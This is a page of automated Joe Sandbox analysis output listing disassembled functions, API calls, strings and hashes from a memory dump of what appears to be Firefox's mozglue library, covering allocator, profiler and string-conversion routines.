GetCurrentThreadId.KERNEL32 ref: 6CF40075
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF40082
moz_xmalloc.MOZGLUE(00000048), ref: 6CF40090
free.MOZGLUE(?), ref: 6CF40104
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF4011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6CF4005B

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: fc01f612b0bc8bbc7418914ebd2c4cf1b1650948c2b01d98a635264b8cd1615f
Instruction ID: 83a8e4a6ce4021b7341c8885c86901390125c27ebc74feb78db9521af1a4f68f
Opcode Fuzzy Hash: fc01f612b0bc8bbc7418914ebd2c4cf1b1650948c2b01d98a635264b8cd1615f
Instruction Fuzzy Hash: 6F41B271910254DFCB61CF64D840A9ABBF0FF49318F50892EED5A83B51DB31E814CBA1

Function 6CF07E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF07EA7
malloc.MOZGLUE(00000001), ref: 6CF07EB3

Part of subcall function 6CF0CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CF0CB49
Part of subcall function 6CF0CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CF0CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CF07EC4
mozalloc_abort.MOZGLUE(?), ref: 6CF07F19
malloc.MOZGLUE(?), ref: 6CF07F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF07F4D

Strings

d, xrefs: 6CF07F89

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: aa1db88fd84f8be70e82ddc1e3f86409c2fdec8faca6202d968b877e0053c468
Instruction ID: f7ad56618ab91591bf30e983e2f60cdf091ecb49834c7d6114e9d4db13c8b69d
Opcode Fuzzy Hash: aa1db88fd84f8be70e82ddc1e3f86409c2fdec8faca6202d968b877e0053c468
Instruction Fuzzy Hash: B5313B61E103989BDF01DB69DC146FEB778EF96208F149629DC5997612FB30A9C8C3A0

Function 6CF03E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CF03EEE
RtlFreeHeap.NTDLL ref: 6CF03FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CF04006
RtlFreeHeap.NTDLL ref: 6CF040A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CF03CCC), ref: 6CF040AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CF03CCC), ref: 6CF040C2
RtlFreeHeap.NTDLL ref: 6CF04134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CF03CCC), ref: 6CF04143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CF03CCC), ref: 6CF04157

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 2a9569d663de509b3f98baa01bdff17fbd552b0d558108d65cae4fe7f0db2ef3
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 90A1A0B2B00205CFDB44CF69C89065ABBB5FF58708F25419AD909AF712D771E886DFA0

Function 6CEF2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CF13F47,?,?,?,6CF13F47,6CF11A70,?), ref: 6CEF207F
memset.VCRUNTIME140(?,000000E5,6CF13F47,?,6CF13F47,6CF11A70,?), ref: 6CEF20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CF13F47,6CF11A70,?), ref: 6CEF211A
EnterCriticalSection.KERNEL32(6CF7E744,?,6CF13F47,6CF11A70,?), ref: 6CEF2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CF13F47,6CF11A70,?), ref: 6CEF21BA
EnterCriticalSection.KERNEL32(6CF7E744,?,6CF13F47,6CF11A70,?), ref: 6CEF21E0
LeaveCriticalSection.KERNEL32(6CF7E744,?,6CF13F47,6CF11A70,?), ref: 6CEF2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CEF2253, 6CEF2268
MOZ_CRASH(), xrefs: 6CEF227D

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 3d3da8a7a2a8cd03b2f59f7f9e9e74588b6e51c65e3e35015d129db692f4f9a2
Instruction ID: 81a53e56ae8d78a8f87e358c217d79d74fa712723d2d2f2ad4b961a6e97dc400
Opcode Fuzzy Hash: 3d3da8a7a2a8cd03b2f59f7f9e9e74588b6e51c65e3e35015d129db692f4f9a2
Instruction Fuzzy Hash: E361C532F002568FDB14CFA8D889BAE76B1AF95318F394239E534A7B94D7709D02C791

Function 6CEF48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CF3483A,?), ref: 6CEF4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CF3483A,?), ref: 6CEF4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CF3483A,?), ref: 6CEF4A82

Part of subcall function 6CF0CA10: mozalloc_abort.MOZGLUE(?), ref: 6CF0CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CF3483A,?), ref: 6CEF4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CF3483A,?), ref: 6CEF4A35

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CF3483A,?), ref: 6CEF4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CF3483A,?), ref: 6CEF4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CF3483A,?), ref: 6CEF4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CF3483A,?), ref: 6CEF4B2C

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 9c09c42a94c5c9e7a65f74d2ae47936f41e4b6fe2f3d921f881dafadea6db82b
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 7A718EB1A00B069FC714CF68C590AAAB7F4FF09304B20463ED15ADBB41E731E656CB91

Function 6CF49D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF48273), ref: 6CF49D65
free.MOZGLUE(6CF48273,?), ref: 6CF49D7C
free.MOZGLUE(?,?), ref: 6CF49D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CF49E0F
free.MOZGLUE(6CF4946B,?,?), ref: 6CF49E24
free.MOZGLUE(?,?,?), ref: 6CF49E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CF49EC8
free.MOZGLUE(6CF4946B,?,?,?), ref: 6CF49EDF
free.MOZGLUE(?,?,?,?), ref: 6CF49EF5

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 59e07e951613ba2076c5ac562964cc4c8b1ab63a10d7fb3f0372301f0ef331db
Instruction ID: 40f050434817d0b7a3a1c8fb254764ae9c783f2b002c6a67afd3e292cabe21df
Opcode Fuzzy Hash: 59e07e951613ba2076c5ac562964cc4c8b1ab63a10d7fb3f0372301f0ef331db
Instruction Fuzzy Hash: A1719070A09B418FD712CF18C54099BFBF4FF99315B449619E89A5BB02EB30E985CB91

Function 6CF4DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CF4DDCF

Part of subcall function 6CF2FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF2FA4B

Part of subcall function 6CF490E0: free.MOZGLUE(?,00000000,?,?,6CF4DEDB), ref: 6CF490FF
Part of subcall function 6CF490E0: free.MOZGLUE(?,00000000,?,?,6CF4DEDB), ref: 6CF49108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF4DE0D
free.MOZGLUE(00000000), ref: 6CF4DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF4DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF4DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF4DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CF3DEFD,?,6CF04A68), ref: 6CF4DF32

Part of subcall function 6CF4DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CF4DB86
Part of subcall function 6CF4DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CF4DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CF3DEFD,?,6CF04A68), ref: 6CF4DF65
free.MOZGLUE(?), ref: 6CF4DF80

Part of subcall function 6CF15E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CF15EDB
Part of subcall function 6CF15E90: memset.VCRUNTIME140(6CF57765,000000E5,55CCCCCC), ref: 6CF15F27
Part of subcall function 6CF15E90: LeaveCriticalSection.KERNEL32(?), ref: 6CF15FB2

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 46afd9e70d65fc1761b694820e897f0ce7b2ffa4791f40a742f6a51cf7b2e90d
Instruction ID: ef2c40a9da7aeb3aaab2548bbcf4aa726faf3488155723a5f41e5da6f518b4d6
Opcode Fuzzy Hash: 46afd9e70d65fc1761b694820e897f0ce7b2ffa4791f40a742f6a51cf7b2e90d
Instruction Fuzzy Hash: 7551E672A016119BD7218B28D880BEFBB76BF91318F95811DD81A53F02DB31F959CBD2

Function 6CF55D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CF55C8C,?,6CF2E829), ref: 6CF55D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CF55C8C,?,6CF2E829), ref: 6CF55D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CF55C8C,?,6CF2E829), ref: 6CF55D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CF55C8C,?,6CF2E829), ref: 6CF55D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CF55C8C,?,6CF2E829), ref: 6CF55DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CF55C8C,?,6CF2E829), ref: 6CF55DC9
std::_Facet_Register.LIBCPMT ref: 6CF55DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CF55C8C,?,6CF2E829), ref: 6CF55E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CF55C8C,?,6CF2E829), ref: 6CF55E45

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 5fbc0243dd480ebb3d8d74fd550eb239461ea21f601681f0741cf45961fe84bf
Instruction ID: 97607850cc367e4a5e5e5a972a66ef30548b6983f8b29740996c25af383e4ae4
Opcode Fuzzy Hash: 5fbc0243dd480ebb3d8d74fd550eb239461ea21f601681f0741cf45961fe84bf
Instruction Fuzzy Hash: 32419131B042158FCB40DFA5C898BAE77B5EF89314F554468EA0697781DB34EC05CBA1

Function 6CF2CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CEF31A7), ref: 6CF2CDDD

Strings

<jemalloc>, xrefs: 6CF2CF9F, 6CF2CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CF2CFA4, 6CF2CFB8

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 1a7475a78fc2bd111386ed0e7e9fcceca67228f62e1ef5ffece27b98afc75b00
Instruction ID: 17fd72696761cddca39f66fa678172a3dc1a41a44baa472f379cbdc2c38feec1
Opcode Fuzzy Hash: 1a7475a78fc2bd111386ed0e7e9fcceca67228f62e1ef5ffece27b98afc75b00
Instruction Fuzzy Hash: 3531C331B502159BFF21AFE59C45BEF7B75AB41B18F204419F614ABA80DB78D4008BB1

Function 6CEFBAE0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CEFBC03
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CEFBD06

Strings

0, xrefs: 6CEFBC74
0, xrefs: 6CEFBBCD
y, xrefs: 6CEFBC4E

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$0$y
API String ID: 2811501404-3020536412
Opcode ID: 5695fdab64f4f2a1b4eef9df7905433ccbadc81c7f09ebe3d491b5b5d61a9be4
Instruction ID: 2204e086d506d0370826496e7dea688a2799c8df80dc5a9bfe10662e2178b9e6
Opcode Fuzzy Hash: 5695fdab64f4f2a1b4eef9df7905433ccbadc81c7f09ebe3d491b5b5d61a9be4
Instruction Fuzzy Hash: 6361B171A183458FC710CF29C490A5BB7F5EF8A348F248A2EE8A597751DB30D94AC792

Function 6CEFECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEFF100: LoadLibraryW.KERNEL32(shell32,?,6CF6D020), ref: 6CEFF122
Part of subcall function 6CEFF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CEFF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CEFED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEFEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CEFEDCC
CreateFileW.KERNEL32 ref: 6CEFEE08
free.MOZGLUE(00000000), ref: 6CEFEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CEFEE32

Part of subcall function 6CEFEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CEFEBB5
Part of subcall function 6CEFEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CF2D7F3), ref: 6CEFEBC3
Part of subcall function 6CEFEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CF2D7F3), ref: 6CEFEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CEFEDC1

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ccd9cee492a8c7d3aec5948a98f38219b46e78a429dec8eecebdb5f02b04047d
Instruction ID: 2d9e009ea2f9d5c44e3568105cda419edf55abf21b262d8cba423fa430f9c223
Opcode Fuzzy Hash: ccd9cee492a8c7d3aec5948a98f38219b46e78a429dec8eecebdb5f02b04047d
Instruction Fuzzy Hash: 3751D071E057048BDB00DF68D8407EEB7B1AF4A31CF64842DE8656BB40E731694AC7A2

Function 6CF00A60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000000C,?,6CF5B80C,00000000,?,?,6CF0003B,?), ref: 6CF00A72

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

moz_xmalloc.MOZGLUE(?,?,6CF5B80C,00000000,?,?,6CF0003B,?), ref: 6CF00AF5
free.MOZGLUE(00000000,?,?,6CF5B80C,00000000,?,?,6CF0003B,?), ref: 6CF00B9F
free.MOZGLUE(?,?,?,6CF5B80C,00000000,?,?,6CF0003B,?), ref: 6CF00BDB
free.MOZGLUE(00000000,?,?,6CF5B80C,00000000,?,?,6CF0003B,?), ref: 6CF00BED
mozalloc_abort.MOZGLUE(alloc overflow,?,6CF5B80C,00000000,?,?,6CF0003B,?), ref: 6CF00C0A

Strings

alloc overflow, xrefs: 6CF00C05

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$moz_xmalloc$mallocmozalloc_abort
String ID: alloc overflow
API String ID: 1471638834-749304246
Opcode ID: 26ef0cf76e547e7509f1507bad95116832f1bbec43d98a46673ff387f9021723
Instruction ID: f47b46f724a05083f95381acbe85d8fb55a39689f0dad95364f9d12917db850c
Opcode Fuzzy Hash: 26ef0cf76e547e7509f1507bad95116832f1bbec43d98a46673ff387f9021723
Instruction Fuzzy Hash: 4351BFB1B042468FDB24CF18C8A0BAEB3B5FF44708F14496EC85A9BA01EBB1A545CB51

Function 6CF6A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CF6A565

Part of subcall function 6CF6A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF6A4BE
Part of subcall function 6CF6A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF6A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CF6A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CF6A6B6

Strings

z, xrefs: 6CF6A6AE
0, xrefs: 6CF6A5FB

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 25e6c076999693e6b54c78d816efda84fc2300d63256ab97951ea6092ddb9fa7
Instruction ID: ee6b3984ecba8f4012509b91c90e76c39f5c52ecd45bf7dcea86fe880646ba40
Opcode Fuzzy Hash: 25e6c076999693e6b54c78d816efda84fc2300d63256ab97951ea6092ddb9fa7
Instruction Fuzzy Hash: 8B4137719087459FC341DF29C480A8FBBF5BF89354F509A2EF49987650EB30EA49CB92

Function 6CEF78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CF7008B), ref: 6CEF7B89
free.MOZGLUE(?,6CF7008B), ref: 6CEF7BAC

Part of subcall function 6CEF78C0: free.MOZGLUE(?,6CF7008B), ref: 6CEF7BCF

free.MOZGLUE(?,6CF7008B), ref: 6CEF7BF2

Part of subcall function 6CF15E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CF15EDB
